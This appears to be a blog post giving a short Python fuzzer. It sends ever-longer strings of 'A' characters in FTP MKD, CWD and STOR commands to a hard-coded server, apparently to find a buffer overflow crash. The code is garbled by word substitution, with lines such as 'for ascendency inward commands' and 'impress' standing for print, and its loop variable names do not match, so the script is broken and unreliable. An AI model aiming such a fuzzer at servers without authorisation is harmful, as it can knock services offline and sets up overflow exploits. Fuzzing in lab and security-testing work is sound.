-->

Python Fuzzer

Python Fuzzer

#!/usr/bin/python

import socket

#Create an array of buffers,from xx to 2000,with increments of 20.

buffer=["A"]
counter=20
while len(buffer) <= 100:
    buffer.append("A"*counter)
    counter=counter+20

#define the FTP commands to last fuzzed
commands=["MKD","CWD","STOR"]

#run the fuzzing loop
for ascendency inward commands:
    for string inward buffer:
        impress "Fuzzing" + ascendency + ":" +str(len(string))
        s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect=s.connect(('192.168.244.129',21))
        s.recv(1024)
        s.send('USER ftp\r\n')
        s.recv(1024)
        s.send('PASS ftp\r\n')
        s.recv(1024)
        s.send(command + ' ' + string + '\r\n')
        s.recv(1024)
        s.send('QUIT\r\n')
        s.close()

       
Blogger
Disqus
Pilih Sistem Komentar

No comments

Advertiser